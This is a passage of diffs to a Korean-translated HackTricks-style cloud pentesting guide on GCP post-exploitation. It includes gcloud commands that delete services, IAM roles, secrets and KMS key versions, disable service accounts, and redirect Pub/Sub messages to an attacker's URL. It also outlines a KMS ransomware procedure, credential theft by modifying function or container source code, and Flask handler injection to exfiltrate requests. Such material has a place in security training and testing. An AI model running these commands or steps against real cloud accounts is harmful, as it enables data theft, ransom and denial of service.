- CREATE DATABASE FROM INTEGRATION 이후 테이블을 나열해보니 스키마 ztl과 테이블 customers가 나타났고, ztl.customers에서 조회하면 2개의 행(Alice, Bob)이 반환되었습니다.
|
||||
|
||||
영향: 데이터베이스 자격 증명, 백업, 또는 소스 클러스터에 대한 네트워크 접근을 사용하지 않고, attacker가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블들을 지속적이고 거의 실시간으로 exfiltration할 수 있음.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,36 +12,37 @@ For information about App Engine check:
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
이 권한들로 다음을 수행할 수 있습니다:
|
||||
With these permissions it's possible to:
|
||||
|
||||
- 키 추가
|
||||
- 키 나열
|
||||
- 키 조회
|
||||
- 키 삭제
|
||||
- 키 목록 조회
|
||||
- 키 가져오기
|
||||
- 삭제
|
||||
|
||||
> [!CAUTION]
|
||||
> 하지만 저는 **cli에서 이 정보를 접근할 방법을 찾지 못했습니다**, 오직 **web console**에서만 접근할 수 있으며 그곳에서는 **Key type**과 **Key name**을 알아야 하고, 또는 **App Engine에서 실행 중인 앱**에서만 가능합니다.
|
||||
> 다만, 저는 **cli로 이 정보를 접근할 방법을 찾지 못했습니다**, 오직 **web console**에서만 접근할 수 있으며 그곳에서는 **Key type**과 **Key name**을 알아야 하거나 a**pp engine running app**에서만 가능합니다.
|
||||
>
|
||||
> 이 권한들을 더 쉽게 사용할 수 있는 방법을 알고 있다면 Pull Request를 보내주세요!
|
||||
> If you know easier ways to use these permissions send a Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
이 권한으로 **앱의 로그를 볼 수 있습니다**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>앱 로그 실시간 보기</summary>
|
||||
With this permission it's possible to **see the logs of the App**:
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
</details>
|
||||
### 서비스 및 버전 삭제
|
||||
|
||||
### 소스 코드 읽기
|
||||
`appengine.versions.delete`, `appengine.versions.list`, 및 `appengine.services.list` 권한은 App Engine 애플리케이션의 특정 버전을 관리하고 삭제할 수 있게 하며, 트래픽이 분할되어 있거나 유일한 안정 버전이 제거될 경우 트래픽에 영향을 줄 수 있습니다. 한편, `appengine.services.delete` 및 `appengine.services.list` 권한은 전체 서비스를 나열하고 삭제할 수 있게 하며—이는 관련된 버전들의 가용성과 모든 트래픽을 즉시 중단시키는 조치입니다.
|
||||
```bash
|
||||
gcloud app versions delete <VERSION_ID>
|
||||
gcloud app services delete <SERVICE_NAME>
|
||||
```
|
||||
### Read Source Code
|
||||
|
||||
모든 버전 및 서비스의 소스 코드는 이름이 **`staging.<proj-id>.appspot.com`**인 **버킷에 저장됩니다**. 해당 버킷에 쓰기 권한이 있다면 소스 코드를 읽어 **취약점** 및 **민감한 정보**를 검색할 수 있습니다.
|
||||
모든 버전과 서비스의 source code는 이름이 **`staging.<proj-id>.appspot.com`**인 **bucket에 저장되어 있습니다**. 해당 버킷에 대한 쓰기 권한이 있으면 source code를 읽고 **vulnerabilities** 및 **민감한 정보**를 검색할 수 있습니다.
|
||||
|
||||
### 소스 코드 수정
|
||||
### Modify Source Code
|
||||
|
||||
소스 코드를 수정하여 자격 증명이 전송되고 있다면 이를 탈취하거나 defacement web attack를 수행하세요.
|
||||
source code를 수정하여 전송되는 경우 credentials를 탈취하거나 defacement web attack을 수행하세요.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Cloud Functions에 대한 정보는 다음에서 확인하세요:
|
||||
Cloud Functions에 대한 정보는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,30 +12,31 @@ Cloud Functions에 대한 정보는 다음에서 확인하세요:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
이 권한으로 Cloud Function의 **소스 코드를 다운로드할 수 있는 서명된 URL**을 얻을 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>소스 코드 다운로드를 위한 서명된 URL 얻기</summary>
|
||||
이 권한을 가지면 Cloud Function의 소스 코드를 다운로드할 수 있는 **signed URL**을 얻을 수 있습니다:
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
### `cloudfunctions.functions.delete`
|
||||
`cloudfunctions.functions.delete` 권한은 identity가 코드, 구성, 트리거 및 service accounts와의 연관을 포함하여 Cloud Function을 완전히 삭제할 수 있도록 허용합니다.
|
||||
```bash
|
||||
gcloud functions delete <FUNCTION_NAME> \
|
||||
--region=us-central1 \
|
||||
--quiet
|
||||
```
|
||||
### Code Exfiltration through the bucket
|
||||
`storage.objects.get` 및 `storage.objects.list` 권한은 bucket 내부의 객체를 나열하고 읽을 수 있게 해주며, Cloud Functions의 경우 각 함수가 소스 코드를 자동으로 관리되는 Google bucket에 저장하기 때문에 특히 관련이 있습니다. 해당 버킷 이름은 `gcf-sources-<PROJECT_NUMBER>-<REGION>` 형식을 따릅니다.
|
||||
|
||||
|
||||
### Cloud Function 요청 탈취
|
||||
|
||||
사용자가 전송하는 민감한 정보를 Cloud Function이 관리하고 있다면(예: 비밀번호 또는 토큰), 충분한 권한이 있으면 **modify the source code of the function and exfiltrate** 방식으로 해당 정보를 빼낼 수 있습니다.
|
||||
Cloud Function이 사용자가 전송하는 민감한 정보를 관리하고 있다면(예: 비밀번호 또는 토큰), 충분한 권한이 있다면 이 정보를 **modify the source code of the function and exfiltrate**할 수 있습니다.
|
||||
|
||||
게다가 python에서 실행되는 Cloud Functions는 웹 서버를 노출하기 위해 **flask**를 사용합니다. 만약 flaks 프로세스 내부에서 코드 주입 취약점(예: SSTI)을 발견한다면, HTTP 요청을 수신할 함수 핸들러를 **override the function handler**하여 **malicious function**으로 바꾸고, 이 함수가 정식 핸들러에 요청을 전달하기 전에 요청을 **exfiltrate the request**할 수 있습니다.
|
||||
또한, python에서 실행되는 Cloud Functions는 웹 서버를 노출하기 위해 **flask**를 사용합니다. 만약 flaks 프로세스 내부에서 코드 인젝션 취약점(예: SSTI 취약점)을 발견한다면, HTTP 요청을 받을 **override the function handler**를 덮어써서 합법적인 핸들러에 전달하기 전에 요청을 **exfiltrate the request**할 수 있는 **malicious function**을 만들 수 있습니다.
|
||||
|
||||
For example this code implements the attack:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Cloud Function 요청 탈취 (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -132,8 +133,4 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,14 +10,25 @@ Cloud Run에 대한 자세한 정보는 다음을 확인하세요:
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 이미지 접근
|
||||
### Delete CloudRun Job
|
||||
`run.services.delete` 및 `run.services.get` 권한과 `run.jobs.delete` 권한은 권한을 가진 주체가 구성 및 이력을 포함하여 Cloud Run 서비스 또는 작업을 완전히 삭제할 수 있도록 허용합니다. 공격자의 손에 들어가면 이는 애플리케이션이나 중요한 워크플로에 즉각적인 중단을 초래할 수 있으며, 서비스 로직이나 필수 예약 작업에 의존하는 사용자와 시스템에 대해 denial of service (DoS)를 발생시킬 수 있습니다.
|
||||
|
||||
컨테이너 이미지에 접근할 수 있다면, 취약점과 하드코딩된 민감한 정보를 확인하세요. 또한 env 변수에서 민감한 정보도 확인하세요.
|
||||
작업을 삭제하려면 다음 작업을 수행할 수 있습니다.
|
||||
```bash
|
||||
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
서비스를 삭제하려면 다음 작업을 수행할 수 있습니다.
|
||||
```bash
|
||||
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
|
||||
```
|
||||
### 이미지에 접근
|
||||
|
||||
이미지가 서비스 Artifact Registry 내의 리포지토리에 저장되어 있고 사용자가 리포지토리에 대한 읽기 권한이 있다면, 이 서비스에서 이미지를 다운로드할 수도 있습니다.
|
||||
container images에 접근할 수 있다면 코드에서 취약점과 하드코딩된 민감한 정보를 확인하세요. 또한 env variables에 있는 민감한 정보도 확인하세요.
|
||||
|
||||
### 이미지 수정 및 재배포
|
||||
이미지가 Artifact Registry 서비스 내의 repos에 저장되어 있고 사용자가 해당 repos에 대한 read access를 가지고 있다면, 해당 서비스에서 이미지를 다운로드할 수도 있습니다.
|
||||
|
||||
정보를 훔치기 위해 실행 이미지를 수정하고 새 버전을 재배포하세요 (같은 태그로 새로운 도커 컨테이너를 업로드하는 것만으로는 실행되지 않습니다). 예를 들어, 로그인 페이지를 노출하고 있다면, 사용자가 전송하는 자격 증명을 훔치세요.
|
||||
### 이미지 수정 및 redeploy
|
||||
|
||||
run image를 수정해 정보를 훔치고 새 버전을 redeploy하세요 (단, 동일한 tags로 새 docker container를 업로드하는 것만으로는 실행되지 않습니다). 예를 들어 login page를 노출하고 있다면 사용자가 전송하는 credentials를 탈취하세요.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,22 +12,40 @@ You can find further information about IAM in:
|
||||
|
||||
### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **user accounts에 제공되며, service accounts가 아닙니다**. To log in to the web interface, you can **Google account에 접근 권한을 부여** that you control. This can be a generic "**@gmail.com**" account, it does **타깃 조직의 구성원일 필요는 없습니다**.
|
||||
[GCP management console](https://console.cloud.google.com)에 대한 액세스는 **사용자 계정에 제공되며, 서비스 계정에는 제공되지 않습니다**. 웹 인터페이스에 로그인하려면 본인이 제어하는 **Google 계정**에 액세스 권한을 부여할 수 있습니다. 이는 일반적인 "**@gmail.com**" 계정일 수 있으며, **대상 조직의 멤버일 필요는 없습니다**.
|
||||
|
||||
To **grant** the primitive role of **Owner** to a generic "@gmail.com" account, though, you'll need to **use the web console**. `gcloud` will error out if you try to grant it a permission above Editor.
|
||||
단, 일반적인 "@gmail.com" 계정에 **Owner**의 기본 역할을 부여하려면 **웹 콘솔을 사용해야** 합니다. `gcloud`는 Editor보다 높은 권한을 부여하려고 하면 오류가 발생합니다.
|
||||
|
||||
You can use the following command to **grant a user the primitive role of Editor** to your existing project:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>사용자에게 Editor 역할 부여</summary>
|
||||
다음 명령을 사용하여 기존 프로젝트에 사용자에게 **Editor의 기본 역할**을 부여할 수 있습니다:
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
</details>
|
||||
여기에서 성공했다면, **웹 인터페이스에 접속**하여 거기서 탐색해 보세요.
|
||||
|
||||
여기서 성공했다면, **웹 인터페이스에 접속**하여 그곳에서 탐색해 보세요.
|
||||
이것은 **gcloud tool을 사용해 할당할 수 있는 가장 높은 권한 수준**입니다.
|
||||
|
||||
이는 gcloud 도구를 사용하여 할당할 수 있는 **가장 높은 권한 수준**입니다.
|
||||
### IAM 구성 요소 삭제 `iam.*.delete`
|
||||
`iam.*.delete` 권한들(예: `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete` 등)은 커스텀 역할, API key 바인딩, 서비스 계정 키 및 서비스 계정 자체와 같은 중요한 IAM 구성 요소를 삭제할 수 있게 합니다. 공격자의 손에 들어가면, 정당한 접근 수단을 제거하여 denial of service를 일으킬 수 있습니다.
|
||||
|
||||
이러한 공격을 수행하려면, 예를 들어 다음과 같이 역할을 삭제할 수 있습니다:
|
||||
```bash
|
||||
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
|
||||
```
|
||||
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
|
||||
|
||||
`iam.serviceAccountKeys.disable` 및 `iam.serviceAccounts.disable` 권한은 활성 Service Account 키 또는 Service Account를 비활성화할 수 있게 하며, attacker의 손에 들어갈 경우 운영 중단을 일으키거나 denial of service를 초래하거나 legitimate credentials 사용을 차단해 incident response를 방해하는 데 악용될 수 있습니다.
|
||||
|
||||
Service Account를 비활성화하려면 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
|
||||
```
|
||||
Service Account의 키를 비활성화하려면 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
|
||||
```
|
||||
### `iam.*.undelete`
|
||||
`iam.*.undelete` 권한은 API 키 바인딩, 커스텀 역할, 또는 서비스 계정과 같은 이전에 삭제된 요소를 복원할 수 있게 합니다. 공격자의 손에 들어가면 이는 방어 조치를 되돌리거나(제거된 접근 복구), 삭제된 침해 벡터를 재구성해 지속성을 유지하거나 대응 노력을 회피하여 사고 격리를 복잡하게 만드는 데 사용될 수 있습니다.
|
||||
```bash
|
||||
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,11 +12,11 @@ KMS에 대한 기본 정보는 다음을 참조하세요:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
이 권한을 가진 공격자는 KMS 버전을 파기할 수 있습니다. 이를 수행하려면 먼저 키를 비활성화한 다음 파기해야 합니다:
|
||||
이 권한을 가진 공격자는 KMS 버전을 파괴할 수 있습니다. 이를 수행하려면 먼저 키를 비활성화한 다음 파괴해야 합니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>키 버전 비활성화 및 파기 (Python)</summary>
|
||||
<summary>Disable and destroy key version (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -65,18 +65,18 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
AWS에서는 KMS 리소스 정책을 수정해 공격자 계정만 키를 사용하도록 허용하면 KMS 키를 완전히 **steal a KMS key** 할 수 있습니다. 이러한 리소스 정책이 GCP에는 존재하지 않기 때문에 이는 불가능합니다.
|
||||
AWS에서는 KMS resource policy를 수정하고 공격자 계정만 키를 사용하도록 허용함으로써 완전히 **steal a KMS key** 하는 것이 가능합니다. 이러한 resource policies가 GCP에는 존재하지 않기 때문에 이는 불가능합니다.
|
||||
|
||||
그러나 전역적인 KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계들을 포함합니다:
|
||||
|
||||
- 공격자가 가져온 **version of the key with a key material**을 새로 생성
|
||||
- 공격자가 가져온 **version of the key with a key material**의 새 버전을 생성
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- 그것을 **default version**으로 설정합니다 (앞으로 encrypted 될 데이터에 대해)
|
||||
- **Re-encrypt older data**: 이전 버전으로 encrypted된 오래된 데이터를 새 버전으로 다시 encrypted합니다.
|
||||
- **Delete the KMS key**
|
||||
- 이제 원본 key material을 가진 attacker만이 encrypted data를 decrypt할 수 있습니다
|
||||
- **기본 버전으로 설정** (향후 암호화될 데이터용)
|
||||
- **이전 버전으로 암호화된 기존 데이터를 새로운 버전으로 재암호화**
|
||||
- **KMS 키 삭제**
|
||||
- 이제 원래의 키 자료를 가진 공격자만 암호화된 데이터를 복호화할 수 있습니다
|
||||
|
||||
#### 새 버전을 가져오고 이전 데이터를 비활성화/삭제하는 단계는 다음과 같습니다:
|
||||
|
||||
@@ -270,6 +270,32 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.restore`
|
||||
`cloudkms.cryptoKeyVersions.restore` 권한은 아이덴티티가 이전에 파기 예정으로 설정되었거나 비활성화된 Cloud KMS의 키 버전을 복원하여 활성화되고 사용 가능한 상태로 되돌릴 수 있게 합니다.
|
||||
```bash
|
||||
gcloud kms keys versions restore <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### `cloudkms.cryptoKeyVersions.update`
|
||||
`cloudkms.cryptoKeyVersions.update` 권한은 Cloud KMS의 특정 키 버전 속성이나 상태(예: 활성화 또는 비활성화)를 주체가 수정할 수 있도록 허용합니다.
|
||||
```bash
|
||||
# Disable key
|
||||
gcloud kms keys versions disable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Enable key
|
||||
gcloud kms keys versions enable <VERSION_ID> \
|
||||
--key=<KEY_NAME> \
|
||||
--keyring=<KEYRING_NAME> \
|
||||
--location=<LOCATION> \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Pub/Sub에 대한 자세한 내용은 다음 페이지를 확인하세요:
|
||||
Pub/Sub에 대한 자세한 정보는 다음 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,7 +12,7 @@ Pub/Sub에 대한 자세한 내용은 다음 페이지를 확인하세요:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
토픽에 메시지를 게시합니다. **예상치 못한 데이터를 전송**하여 예기치 못한 기능을 유발하거나 취약점을 악용할 때 유용합니다:
|
||||
토픽에 메시지를 게시합니다. **예상치 못한 데이터를 전송**하고 예기치 못한 기능을 트리거하거나 취약점을 악용하는 데 유용합니다:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -25,7 +25,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
구독이 메시지를 받지 못하게 하여 탐지를 피하는 데 유용합니다.
|
||||
구독이 메시지를 받지 못하도록 방지하는 데 유용합니다. 탐지를 회피하기 위해 사용할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
구독이 메시지를 받지 못하게 하거나 탐지를 피하기 위해 유용합니다.\
|
||||
구독이 연결된 상태에서도 토픽을 삭제할 수 있습니다.
|
||||
subscription이 메시지를 수신하지 못하게 막는 데 유용하며, 탐지를 피하기 위해 사용할 수 있습니다.\
|
||||
subscriptions가 연결되어 있어도 topic을 삭제할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>토픽 삭제</summary>
|
||||
<summary>topic 삭제</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
@@ -50,19 +50,45 @@ gcloud pubsub topics delete <TOPIC NAME>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
이 권한을 사용하여 토픽의 일부 설정을 변경해 서비스를 방해할 수 있습니다. 예: `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
이 권한을 사용해 토픽의 일부 설정을 변경하여 중단시킬 수 있습니다. 예: `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
이전 attacks 중 어떤 것이든 수행할 수 있도록 자신에게 권한을 부여합니다.
|
||||
자신에게 이전 공격들을 수행할 수 있는 권한을 부여하세요.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
웹 서버에서 모든 메시지 가져오기:
|
||||
웹 서버에서 모든 메시지를 가져오기:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>메시지를 받기 위한 push subscription 생성</summary>
|
||||
<summary>메시지 수신을 위한 push subscription 생성</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
@@ -73,7 +99,7 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
|
||||
|
||||
<details>
|
||||
|
||||
<summary>pull subscription 생성 및 메시지 가져오기</summary>
|
||||
<summary>Create pull subscription and retrieve messages</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -86,7 +112,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**구독 삭제**는 로그 처리 시스템이나 이와 유사한 것을 방해하는 데 유용할 수 있습니다:
|
||||
**구독 삭제**는 로그 처리 시스템을 중단시키는 등 유용할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -98,7 +124,7 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
이 권한을 사용하면 메시지가 당신이 접근할 수 있는 위치(URL, Big Query table, Bucket)에 저장되도록 설정을 업데이트하거나 단순히 이를 방해할 수 있습니다.
|
||||
이 권한을 사용해 메시지가 접근 가능한 위치(URL, Big Query table, Bucket)에 저장되도록 일부 설정을 변경하거나 단순히 이를 방해할 수 있다.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
앞서 언급한 공격들을 수행하는 데 필요한 권한을 스스로 부여하세요.
|
||||
앞서 언급한 공격들을 수행하는 데 필요한 권한을 자신에게 부여합니다.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
스키마를 토픽에 연결하여 메시지가 스키마를 충족하지 못하게 만들면 토픽이 중단됩니다.\
|
||||
스키마가 없으면 하나 생성해야 할 수도 있습니다.
|
||||
schema를 topic에 연결하여 messages가 schema를 충족하지 못하게 만들어 topic이 중단되도록 합니다.\
|
||||
schemas가 없으면 새로 하나 생성해야 할 수도 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>스키마 파일을 생성하고 토픽에 연결</summary>
|
||||
<summary>schema 파일을 생성하고 topic에 연결</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -148,7 +174,7 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
스키마를 삭제하면 스키마 규칙을 만족하지 않는 메시지를 전송할 수 있을 것처럼 보일 수 있습니다. 그러나 스키마가 삭제되면 실제로는 어떤 메시지도 토픽에 들어가지 않습니다. 따라서 이것은 **쓸모없습니다**:
|
||||
이것은 스키마를 삭제하면 스키마를 충족하지 않는 메시지를 보낼 수 있게 되는 것처럼 보일 수 있습니다. 하지만 스키마가 삭제되기 때문에 실제로 어떤 메시지도 해당 토픽에 들어가지 않습니다. 따라서 이것은 **무의미**:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -160,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
자신에게 이전에 설명된 attacks를 수행하는 데 필요한 권한을 부여하세요.
|
||||
이전에 언급한 공격들을 수행하는 데 필요한 권한을 자신에게 부여합니다.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
이것은 모든 unACKed 메시지의 스냅샷을 생성하여 구독으로 되돌려 놓습니다. attacker에게는 별로 유용하지 않지만, 여기 있습니다:
|
||||
이는 모든 unACKed 메시지의 스냅샷을 생성하여 구독(subscription)으로 다시 넣습니다. 공격자에게는 별로 유용하지 않지만, 예시는 다음과 같습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>스냅샷 생성 및 해당 스냅샷으로 되돌리기</summary>
|
||||
<summary>스냅샷 생성 후 해당 위치로 되돌리기</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
Secret Manager에 대한 자세한 정보는 다음을 확인하세요:
|
||||
Secret Manager에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,7 +12,7 @@ Secret Manager에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
이 권한은 secret manager에서 secrets를 읽을 수 있는 접근을 허용하며, 저장된 정보에 따라 권한 상승에 도움이 될 수 있습니다:
|
||||
이 권한은 Secret Manager에서 비밀을 읽을 수 있는 접근을 제공합니다. 저장된 정보에 따라 권한 상승에 도움이 될 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `secretmanager.versions.destroy`
|
||||
`secretmanager.versions.destroy` 권한은 주체가 Secret Manager에서 특정 시크릿 버전을 영구 삭제(되돌릴 수 없도록 표시)할 수 있도록 허용합니다. 이는 중요한 자격 증명 제거를 초래하여 서비스 거부를 발생시키거나 민감한 데이터의 복구를 방해할 수 있습니다.
|
||||
```bash
|
||||
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.versions.disable`
|
||||
`secretmanager.versions.disable` 권한은 주체가 Secret Manager에서 활성 비밀 버전을 비활성화하여 이를 사용하는 애플리케이션이나 서비스의 사용을 일시적으로 차단할 수 있게 합니다.
|
||||
```bash
|
||||
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
|
||||
```
|
||||
### `secretmanager.secrets.delete`
|
||||
`secretmanager.secrets.delete` 권한 세트는 아이덴티티가 Secret Manager에서 시크릿과 그에 저장된 모든 버전을 완전히 삭제할 수 있도록 허용합니다.
|
||||
```bash
|
||||
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
|
||||
```
|
||||
### `secretmanager.secrets.update`
|
||||
`secretmanager.secrets.update` 권한은 아이덴티티가 시크릿의 메타데이터와 구성(예: 회전 설정, 버전 정책, 레이블 및 특정 시크릿 속성)을 수정할 수 있도록 허용합니다.
|
||||
```bash
|
||||
gcloud secrets update SECRET_NAME \
|
||||
--project=PROJECT_ID \
|
||||
--clear-labels \
|
||||
--rotation-period=DURATION
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,11 +12,7 @@ Cloud Storage에 대한 자세한 정보는 다음 페이지를 확인하세요:
|
||||
|
||||
### 공개 액세스 허용
|
||||
|
||||
외부 사용자(GCP에 로그인했는지 여부와 관계없이)에게 버킷의 콘텐츠에 대한 접근 권한을 부여할 수 있습니다. 그러나 기본적으로 버킷은 공개로 노출하는 옵션이 비활성화되어 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Make bucket/objects public</summary>
|
||||
